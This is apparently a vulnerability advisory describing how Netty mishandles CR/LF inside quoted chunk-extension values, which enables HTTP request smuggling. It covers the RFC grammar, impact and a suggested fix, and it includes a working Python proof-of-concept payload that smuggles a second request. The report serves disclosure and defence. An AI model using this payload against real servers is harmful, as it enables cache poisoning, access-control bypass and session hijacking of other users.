Vulnerability details

## Summary Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks. ## Background This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques: - <https://w4ke.info/2025/06/18/funky-chunks.html> - <https://w4ke.info/2025/10/29/funky-chunks-2.html> The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values. ## Technical Details **RFC 9110 Section 7.1.1** defines chunked transfer encoding: ``` chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] ) chunk-ext-val = token / quoted-string ``` **RFC 9110 Section 5.6.4** defines quoted-string: ``` quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE ``` Critically, the allowed character ranges within a quoted-string are: ``` qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text ) ``` CR (`%x0D`) and LF (`%x0A`) bytes fall outside all of these ranges and are therefore **not permitted** inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a `400 Bad Request` response (as Squid does, for example). ## Vulnerability Netty terminates chunk header parsing at `\r\n` inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling. **Expected behavior (RFC-compliant):** A request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid. **Actual behavior (Netty):** ``` Chunk: 1;a="value ^^^^^ parsing terminates here at \r\n (INCORRECT) Body: here"... is treated as body or the beginning of a subsequent request ``` The root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely. ## Proof of Concept ```python #!/usr/bin/env python3 import socket payload = ( b"POST / HTTP/1.1\r\n" b"Host: localhost\r\n" b"Transfer-Encoding: chunked\r\n" b"\r\n" b'1;a="\r\n' b"X\r\n" b"0\r\n" b"\r\n" b"GET /smuggled HTTP/1.1\r\n" b"Host: localhost\r\n" b"Content-Length: 11\r\n" b"\r\n" b'"\r\n' b"Y\r\n" b"0\r\n" b"\r\n" ) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(3) sock.connect(("127.0.0.1", 8080)) sock.sendall(payload) response = b"" while True: try: chunk = sock.recv(4096) if not chunk: break response += chunk except socket.timeout: break sock.close() print(f"Responses: {response.count(b'HTTP/')}") print(response.decode(errors="replace")) ``` **Result:** The server returns two HTTP responses from a single TCP connection, confirming request smuggling. ### Parsing Breakdown | Parser | Request 1 | Request 2 | |-----------------------|-------------------|------------------------------------| | Netty (vulnerable) | POST / body="X" | GET /smuggled (SMUGGLED) | | RFC-compliant parser | 400 Bad Request | (none — malformed request rejected)| ## Impact - **Request Smuggling**: An attacker can inject arbitrary HTTP requests into a connection. - **Cache Poisoning**: Smuggled responses may poison shared caches. - **Access Control Bypass**: Smuggled requests can circumvent frontend security controls. - **Session Hijacking**: Smuggled requests may intercept responses intended for other users. ## Reproduction 1. Start the minimal proof-of-concept environment using the provided Docker configuration. 2. Execute the proof-of-concept script included in the attached archive. ## Suggested Fix The parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them: ``` 1. Read chunk-size. 2. If ';' is encountered, begin parsing extensions: a. For each byte before the terminating CRLF: - If CR (%x0D) or LF (%x0A) is encountered outside the final terminating CRLF, reject the request with 400 Bad Request. b. If the extension value begins with DQUOTE, validate that all enclosed bytes conform to the qdtext / quoted-pair grammar. 3. Only treat CRLF as the chunk header terminator when it appears outside any quoted-string context and contains no preceding illegal bytes. ``` ## Acknowledgments Credit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list. ## Resources - [RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)](https://www.rfc-editor.org/rfc/rfc9110) - [Funky Chunks Research](https://w4ke.info/2025/06/18/funky-chunks.html) - [Funky Chunks 2 Research](https://w4ke.info/2025/10/29/funky-chunks-2.html) ## Attachments  [java_netty.zip](https://github.com/user-attachments/files/24697955/java_netty.zip)